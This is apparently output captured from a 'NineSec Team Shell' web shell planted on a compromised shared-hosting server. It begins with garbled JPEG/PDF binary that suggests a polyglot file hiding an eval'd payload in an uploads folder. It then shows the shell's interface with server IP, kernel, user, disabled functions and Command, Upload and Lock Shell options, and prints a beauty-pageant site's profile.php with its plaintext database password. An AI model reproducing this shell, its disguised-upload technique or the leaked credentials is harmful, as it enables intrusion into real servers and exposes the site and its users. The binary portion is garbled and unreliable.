JFIF``;CREATOR: gd-jpeg v1.0 (using IJG JPEG v62), quality = 90 C  %PDF-1.3 % 1 0 obj<> endobj 2 0 obj<> endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream x\mo7 a?Hyi{$E(i?ckrAvEzFHI|H?{|Z|X|Ň77?Oݞ__lOя77wx'?Ű8I] gQB2za]l|ɇ՟?} " L* & J * j .  N (8HXhx )9IYiy *:JZjz +;K[k{ , C> r. ^ ~ N @ qO!  ` ( S A  a=  ! wQ It Ba @l q T  f !U* A 9%n o M - 5J  w@O|l:Bg y= B=jq K - jM 4EP N q f ^ u> $k ( H l EW o W  %l d] 6 ] - L  > 9 t* y 4 b 5 Q\ \ v U  2c 3  c qM = |  IT: S |{; ^| e]/ n3g _ > t! y {  Zm \{o]'S ~ VN a w - u x* " 3 }$jH q w bx B" < 5b }% + 09_h>G u7$ y MJ$ Y&X z (r ` [N _pny!lu o x `N d z Oy O.* r  _s iQ  BRx .) _6jV ] # W RVy k~ cI Y H  dsR  rZ+ )f d v* ' i G j * cB zi  _  j z[ 7; 2 -  zZ  f V z9 JR n  72 81 [e n &ci ( r  U q _+q rV 3  " > ;1 0x >{ |` r h W q f 3 l ]u b-5 Fwm z zp)M ) jO q u q  E K l 7  [[ y Xg e ~ , 9  k; +ny  )s=9) u_l " Z ; x =. M= +? ^  q $ .[ i [ Fj y Ux { >_ xH  > ; 8 < w/l hy  9o <: 'f4 |   w e  G G * !# b` B,  $*q Ll   (Jq T r ,jq \   0 q d,  4 q ll   8 q t  < q |   @ r , ! D*r l # HJr %/ Ljr '? P r , ) Q; gzuncompress
Warning: file_get_contents(test.txt): Failed to open stream: No such file or directory in /home/u178500310/domains/princess.uaeclick.com/public_html/uploads/1770357389_0_197006009.php(44) : eval()'d code on line 6
NineSec Team Shell
NineSec Team Shell
Server IP : 82.25.113.252  /  Your IP : 216.73.216.172
Web Server : LiteSpeed
System : Linux fr-int-web2058.main-hosting.eu 5.14.0-570.62.1.el9_6.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Nov 11 10:10:59 EST 2025 x86_64
User : u178500310 ( 178500310)
PHP Version : 8.2.29
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF
Directory (0755) :  /home/u178500310/domains/misschhattisgarh.com/public_html/

[  Home  ][  C0mmand  ][  Upload File  ][  Lock Shell  ][  Logout  ]

Current File : /home/u178500310/domains/misschhattisgarh.com/public_html/profile.php
<?php
// DB Connection
$host = "localhost";
$user = "u178500310_cg";
$password = "Tanveer@#14321";
$dbname = "u178500310_cg";

// Create mysqli connection
$conn = new mysqli($host, $user, $password, $dbname);
if ($conn->connect_error) {
    die("MySQLi connection failed: " . $conn->connect_error);
}


// Get profile ID
$profileId = isset($_GET['id']) ? (int)$_GET['id'] : 0;

// Fetch user
$sql = "SELECT * FROM users WHERE id = ? AND deleted_at IS NULL";
$stmt = $conn->prepare($sql);
$stmt->bind_param("i", $profileId);
$stmt->execute();
$userResult = $stmt->get_result();
$profileUser = $userResult->fetch_assoc();

if (!$profileUser) {
    die("<div class='container py-5'><div class='alert alert-danger'>Profile not found.</div></div>");
}

// Fetch model profile if model
$modelProfile = [];
if ($profileUser['user_type'] === 'model') {
    $sql = "SELECT * FROM model_profiles WHERE user_id = ? AND deleted_at IS NULL";
    $stmt = $conn->prepare($sql);
    $stmt->bind_param("i", $profileUser['id']);
    $stmt->execute();
    $result = $stmt->get_result();
    $modelProfile = $result->fetch_assoc();
}

// Fetch portfolio items
$portfolio = [];
$sql = "SELECT * FROM portfolio_items WHERE user_id = ? ORDER BY created_at DESC";
$stmt = $conn->prepare($sql);
$stmt->bind_param("i", $profileUser['id']);
$stmt->execute();
$result = $stmt->get_result();
while ($row = $result->fetch_assoc()) {
    $portfolio[] = $row;
}

// Helper: Profile Picture Path
function getProfilePicPath($pic)
{
    if (empty($pic)) {
        return "https://images.unsplash.com/photo-1534528741775-53994a69daeb?auto=format&fit=crop&w=700&q=80";
    }
    if (strpos($pic, "http") === 0) return $pic;

    $localPath = $_SERVER['DOCUMENT_ROOT'] . '/' . ltrim($pic, '/');
    if (file_exists($localPath) && is_readable($localPath)) {
        return '/' . ltrim($pic, '/');
    }
    return "https://images.unsplash.com/photo-1534528741775-53994a69daeb?auto=format&fit=crop&w=700&q=80";
}

// Helper: Portfolio Image Path
function getPortfolioPath($pic)
{
    if (empty($pic)) {
        return null;
    }
    if (strpos($pic, "http") === 0) return $pic;

    $localPath = $_SERVER['DOCUMENT_ROOT'] . '/' . ltrim($pic, '/');
    if (file_exists($localPath) && is_readable($localPath)) {
        return '/' . ltrim($pic, '/');
    }
    return null;
}

// NEW CODE: Fetch model questions
$modelQuestions = [];
if ($profileUser['user_type'] === 'model') {
    $sql = "SELECT * FROM model_questions WHERE user_id = ?";
    $stmt = $conn->prepare($sql);
    $stmt->bind_param("i", $profileUser['id']);
    $stmt->execute();
    $result = $stmt->get_result();
    $modelQuestions = $result->fetch_assoc();
}

$pageTitle = htmlspecialchars($profileUser['first_name'] . " " . $profileUser['last_name']);
$city = htmlspecialchars($profileUser['city']);
?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title><?= $pageTitle ?> | Model in <?= $city ?> </title>
    <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/css/bootstrap.min.css" rel="stylesheet">
    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css">
    <style>
        :root {
            --primary-color: #d4af37;
            --secondary-color: #8b0000;
            --dark-color: #1a1a1a;
            --light-color: #f8f9fa;
        }
        body { font-family: 'Poppins', sans-serif; background-color: #fefefe; color: #333; }
        h1,h2,h3,h4,h5 { font-family: 'Playfair Display', serif; color: var(--dark-color); }
        .profile-header { background: linear-gradient(rgba(0,0,0,0.7), rgba(0,0,0,0.7)), url('https://images.unsplash.com/photo-1519681393784-d120267933ba?auto=format&fit=crop&w=1200&q=80'); background-size: cover; background-position: center; color: white; padding: 3rem 0; margin-bottom: 2rem; }
        .profile-img { width: 100%; height: 400px; object-fit: cover; border-radius: 15px; }
        .section-title { position: relative; padding-bottom: 15px; margin-bottom: 25px; }
        .section-title:after { content: ''; position: absolute; bottom: 0; left: 0; width: 60px; height: 3px; background: var(--primary-color); }
        
        .portfolio-card {
            transition: transform 0.4s ease, box-shadow 0.4s ease;
            cursor: pointer;
        }
        .portfolio-card:hover {
            transform: scale(1.05);
            box-shadow: 0 10px 25px rgba(0, 0, 0, 0.2);
        }
        .portfolio-img {
            transition: transform 0.5s ease;
        }
        .portfolio-card:hover .portfolio-img {
            transform: scale(1.1);
        }
        .portfolio-overlay {
            position: absolute;
            top: 0;
            left: 0;
            width: 100%;
            height: 100%;
            background: linear-gradient(to top, rgba(0,0,0,0.7), transparent);
            opacity: 0;
            transition: opacity 0.4s ease;
            display: flex;
            align-items: center;
            justify-content: center;
        }
        .portfolio-card:hover .portfolio-overlay {
            opacity: 1;
        }
        
        .bio-section {
            background-color: #f8f9fa;
            border-radius: 10px;
            padding: 20px;
            margin-bottom: 20px;
        }
        
        .bio-placeholder {
            color: #6c757d;
            font-style: italic;
        }

        /* Modal Styles */
        .modal-content {
            border-radius: 12px;
            overflow: hidden;
            background-color: #2c3e50;
            color: white;
        }
        .modal-header {
            border-bottom: 1px solid #34495e;
            background-color: #2c3e50;
        }
        .modal-body {
            padding: 0;
            text-align: center;
            background-color: #1a2530;
            position: relative;
        }
        .modal-img {
            max-height: 70vh;
            object-fit: contain;
            transition: transform 0.3s ease;
        }
        .modal-title {
            font-weight: 600;
        }
        .nav-btn {
            position: absolute;
            top: 50%;
            transform: translateY(-50%);
            background: rgba(0, 0, 0, 0.5);
            color: white;
            border: none;
            width: 50px;
            height: 50px;
            border-radius: 50%;
            display: flex;
            align-items: center;
            justify-content: center;
            font-size: 1.5rem;
            transition: all 0.3s;
            z-index: 10;
        }
        .nav-btn:hover {
            background: rgba(0, 0, 0, 0.8);
            transform: translateY(-50%) scale(1.1);
        }
        .prev-btn {
            left: 15px;
        }
        .next-btn {
            right: 15px;
        }
        .close-btn {
            background: none;
            border: none;
            color: white;
            font-size: 1.8rem;
            transition: transform 0.3s;
        }
        .close-btn:hover {
            transform: rotate(90deg);
        }
        .zoom-controls {
            position: absolute;
            bottom: 15px;
            right: 15px;
            display: flex;
            gap: 10px;
            z-index: 10;
        }
        .zoom-btn {
            background: rgba(0, 0, 0, 0.5);
            color: white;
            border: none;
            width: 40px;
            height: 40px;
            border-radius: 50%;
            display: flex;
            align-items: center;
            justify-content: center;
            font-size: 1.2rem;
            transition: all 0.3s;
        }
        .zoom-btn:hover {
            background: rgba(0, 0, 0, 0.8);
            transform: scale(1.1);
        }
        .image-counter {
            position: absolute;
            bottom: 20px;
            left: 50%;
            transform: translateX(-50%);
            background: rgba(0, 0, 0, 0.5);
            padding: 5px 15px;
            border-radius: 20px;
            font-size: 0.9rem;
        }
        @media (max-width: 768px) {
            .nav-btn {
                width: 40px;
                height: 40px;
                font-size: 1.2rem;
            }
            .zoom-btn {
                width: 35px;
                height: 35px;
                font-size: 1rem;
            }
        }
    </style>
</head>

<body>
    <!-- Header Section -->
    <?php include 'includes/header.php'; ?>
    
    <div class="profile-header text-center py-5">
        <div class="container">
            <h1 class="display-4 fw-bold">Miss Chhattisgarhm</h1>
            <p class="lead">Celebrating Beauty & Talent</p>
        </div>
    </div>

    <div class="container py-4">
        <div class="row">
            <!-- Left Column -->
            <div class="col-lg-4">
                <div class="card mb-4 p-3 text-center">
                    <img src="<?= getProfilePicPath($profileUser['profile_pic']) ?>" class="profile-img mb-3" alt="Profile Picture">
                    <h2 class="card-title"><?= $pageTitle ?></h2>
                    <p class="text-muted"><?= ucfirst($profileUser['user_type']) ?></p>
                </div>

                <!-- Personal Details -->
                <div class="card mb-4">
                    <div class="card-body">
                        <h4 class="section-title">Details</h4>
                        <ul class="list-unstyled">
                            <li class="mb-2"><i class="fas fa-map-marker-alt me-2"></i><?= $profileUser['city'] ?? 'Not specified' ?></li>
                            <li class="mb-2"><i class="fas fa-globe me-2"></i><?= $profileUser['languages'] ?? 'English' ?></li>
                        </ul>
                    </div>
                </div>
            </div>

            <!-- Right Column -->
            <div class="col-lg-8">
                <!-- Bio Section -->
                <div class="card mb-4">
                    <div class="card-body">
                        <h4 class="section-title">About Me</h4>
                        <div class="bio-section">
                            <?php if (!empty($profileUser['bio'])): ?>
                                <p><?= nl2br(htmlspecialchars($profileUser['bio'])) ?></p>
                            <?php else: ?>
                                <p class="bio-placeholder">This profile doesn't have a bio yet.</p>
                            <?php endif; ?>
                        </div>
                    </div>
                </div>

                <!-- Measurements -->
                <?php if ($profileUser['user_type'] === 'model' && $modelProfile): ?>
                    <div class="card mb-4">
                        <div class="card-body">
                            <h4 class="section-title">Measurements</h4>
                            <div class="row text-center">
                                <div class="col-6 col-md-3"><div class="fw-bold"><?= $modelProfile['height'] ?></div><div class="small">Height</div></div>
                                <div class="col-6 col-md-3"><div class="fw-bold"><?= $modelProfile['weight'] ?></div><div class="small">Weight</div></div>
                                <div class="col-6 col-md-3"><div class="fw-bold"><?= $modelProfile['bust'] ?></div><div class="small">Bust</div></div>
                                <div class="col-6 col-md-3"><div class="fw-bold"><?= $modelProfile['waist'] ?></div><div class="small">Waist</div></div>
                                <div class="col-6 col-md-3"><div class="fw-bold"><?= $modelProfile['hips'] ?></div><div class="small">Hips</div></div>
                                <div class="col-6 col-md-3"><div class="fw-bold"><?= $modelProfile['hair_color'] ?></div><div class="small">Hair</div></div>
                                <div class="col-6 col-md-3"><div class="fw-bold"><?= $modelProfile['eye_color'] ?></div><div class="small">Eyes</div></div>
                                <div class="col-6 col-md-3"><div class="fw-bold"><?= $modelProfile['skin_tone'] ?></div><div class="small">Skin</div></div>
                            </div>
                        </div>
                    </div>
                <?php endif; ?>

                <!-- Portfolio -->
                <div class="row">
                    <?php 
                    if (!empty($portfolio)) {
                        foreach ($portfolio as $index => $item): 
                            $portfolioImg = getPortfolioPath($item['image_url']);
                            if ($portfolioImg):
                    ?>
                    <div class="col-md-4 mb-4">
                        <div class="portfolio-card position-relative overflow-hidden rounded-4 shadow-sm" 
                             data-index="<?= $index ?>" 
                             data-src="<?= $portfolioImg ?>" 
                             data-title="<?= htmlspecialchars($item['title'] ?? ucfirst($item['category'])) ?>">
                            <img src="<?= $portfolioImg ?>" 
                                 class="portfolio-img w-100" 
                                 style="object-fit: cover; height: 250px;" 
                                 alt="<?= htmlspecialchars($item['title'] ?? $item['category']) ?>">
                            <div class="portfolio-overlay">
                                <h6 class="text-white fw-bold mb-0">
                                    <?= ucfirst(str_replace('_',' ', $item['category'])) ?>
                                </h6>
                            </div>
                        </div>
                    </div>
                    <?php 
                            endif;
                        endforeach;
                    } else {
                        echo "<p class='text-muted'>No portfolio items uploaded.</p>";
                    }
                    ?>
                </div>
                <!-- Model Questions Section -->
                <?php if ($profileUser['user_type'] === 'model' && $modelQuestions): ?>
                <div class="card mb-4">
                    <div class="card-body">
                        <h4 class="section-title">Model Questionnaire</h4>
                        
                        <?php if (!empty($modelQuestions['why_miss_mizoramm'])): ?>
                        <div class="mb-4">
                            <h5>Why do you want to be Miss Chhattisgarhm?</h5>
                            <p class="ms-3"><?= nl2br(htmlspecialchars($modelQuestions['why_miss_mizoramm'])) ?></p>
                        </div>
                        <?php endif; ?>
                        
                        <?php if (!empty($modelQuestions['role_model'])): ?>
                        <div class="mb-4">
                            <h5>Who is your role model and why?</h5>
                            <p class="ms-3"><?= nl2br(htmlspecialchars($modelQuestions['role_model'])) ?></p>
                        </div>
                        <?php endif; ?>
                        
                        <?php if (!empty($modelQuestions['promote_culture'])): ?>
                        <div class="mb-4">
                            <h5>How would you promote Mizo culture?</h5>
                            <p class="ms-3"><?= nl2br(htmlspecialchars($modelQuestions['promote_culture'])) ?></p>
                        </div>
                        <?php endif; ?>
                        
                        <?php if (!empty($modelQuestions['previous_experience'])): ?>
                        <div class="mb-4">
                            <h5>Previous modeling experience</h5>
                            <p class="ms-3"><?= nl2br(htmlspecialchars($modelQuestions['previous_experience'])) ?></p>
                        </div>
                        <?php endif; ?>
                    </div>
                </div>
                <?php endif; ?>
            </div>
        </div>
    </div>

    <!-- Portfolio Modal with Zoom and Navigation -->
    <div class="modal fade" id="portfolioModal" tabindex="-1" aria-hidden="true">
        <div class="modal-dialog modal-lg modal-dialog-centered">
            <div class="modal-content">
                <div class="modal-header">
                    <h5 class="modal-title" id="modalImageTitle">Image Title</h5>
                    <button type="button" class="close-btn" data-bs-dismiss="modal" aria-label="Close">
                        <i class="fas fa-times"></i>
                    </button>
                </div>
                <div class="modal-body">
                    <img src="" class="modal-img img-fluid" id="modalImage" alt="Portfolio Image">
                    <button class="nav-btn prev-btn">
                        <i class="fas fa-chevron-left"></i>
                    </button>
                    <button class="nav-btn next-btn">
                        <i class="fas fa-chevron-right"></i>
                    </button>
                    <div class="zoom-controls">
                        <button class="zoom-btn" id="zoomIn">
                            <i class="fas fa-search-plus"></i>
                        </button>
                        <button class="zoom-btn" id="zoomOut">
                            <i class="fas fa-search-minus"></i>
                        </button>
                    </div>
                    <div class="image-counter">
                        <span id="currentIndex">1</span> / <span id="totalImages"><?= count($portfolio) ?></span>
                    </div>
                </div>
            </div>
        </div>
    </div>
    
    

    <footer class="bg-dark text-white text-center py-4 mt-5">
        <div class="container">
            <p>&copy; <?= date('Y') ?> Miss Chhattisgarhm. All rights reserved.</p>
        </div>
    </footer>
    
    <script src="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/js/bootstrap.bundle.min.js"></script>
    <script>
        document.addEventListener('DOMContentLoaded', function() {
            // Get all portfolio cards
            const portfolioCards = document.querySelectorAll('.portfolio-card');
            const modal = new bootstrap.Modal(document.getElementById('portfolioModal'));
            const modalImage = document.getElementById('modalImage');
            const modalImageTitle = document.getElementById('modalImageTitle');
            const currentIndexElement = document.getElementById('currentIndex');
            const totalImagesElement = document.getElementById('totalImages');
            const zoomInBtn = document.getElementById('zoomIn');
            const zoomOutBtn = document.getElementById('zoomOut');
            
            // Store all portfolio items
            const portfolioItems = Array.from(portfolioCards).map(card => {
                return {
                    src: card.getAttribute('data-src'),
                    title: card.getAttribute('data-title'),
                    index: card.getAttribute('data-index')
                };
            });
            
            let currentIndex = 0;
            let currentZoom = 1;
            
            // Function to open modal with specific image
            function openModal(index) {
                currentIndex = index;
                const item = portfolioItems[index];
                
                modalImage.src = item.src;
                modalImageTitle.textContent = item.title;
                currentIndexElement.textContent = index + 1;
                
                // Reset zoom
                currentZoom = 1;
                modalImage.style.transform = 'scale(1)';
                
                modal.show();
            }
            
            // Add click event to each portfolio card
            portfolioCards.forEach((card, index) => {
                card.addEventListener('click', () => {
                    openModal(index);
                });
            });
            
            // Next button functionality
            document.querySelector('.next-btn').addEventListener('click', (e) => {
                e.stopPropagation();
                currentIndex = (currentIndex + 1) % portfolioItems.length;
                openModal(currentIndex);
            });
            
            // Previous button functionality
            document.querySelector('.prev-btn').addEventListener('click', (e) => {
                e.stopPropagation();
                currentIndex = (currentIndex - 1 + portfolioItems.length) % portfolioItems.length;
                openModal(currentIndex);
            });
            
            // Zoom in functionality
            zoomInBtn.addEventListener('click', () => {
                currentZoom += 0.2;
                modalImage.style.transform = `scale(${currentZoom})`;
            });
            
            // Zoom out functionality
            zoomOutBtn.addEventListener('click', () => {
                if (currentZoom > 0.4) {
                    currentZoom -= 0.2;
                    modalImage.style.transform = `scale(${currentZoom})`;
                }
            });
            
            // Keyboard navigation
            document.addEventListener('keydown', (e) => {
                if (document.getElementById('portfolioModal').classList.contains('show')) {
                    if (e.key === 'ArrowRight') {
                        currentIndex = (currentIndex + 1) % portfolioItems.length;
                        openModal(currentIndex);
                    } else if (e.key === 'ArrowLeft') {
                        currentIndex = (currentIndex - 1 + portfolioItems.length) % portfolioItems.length;
                        openModal(currentIndex);
                    } else if (e.key === 'Escape') {
                        modal.hide();
                    } else if (e.key === '+' || e.key === '=') {
                        currentZoom += 0.2;
                        modalImage.style.transform = `scale(${currentZoom})`;
                    } else if (e.key === '-' || e.key === '_') {
                        if (currentZoom > 0.4) {
                            currentZoom -= 0.2;
                            modalImage.style.transform = `scale(${currentZoom})`;
                        }
                    }
                }
            });
        });
    </script>
</body>
</html>

NineSec Team - 2022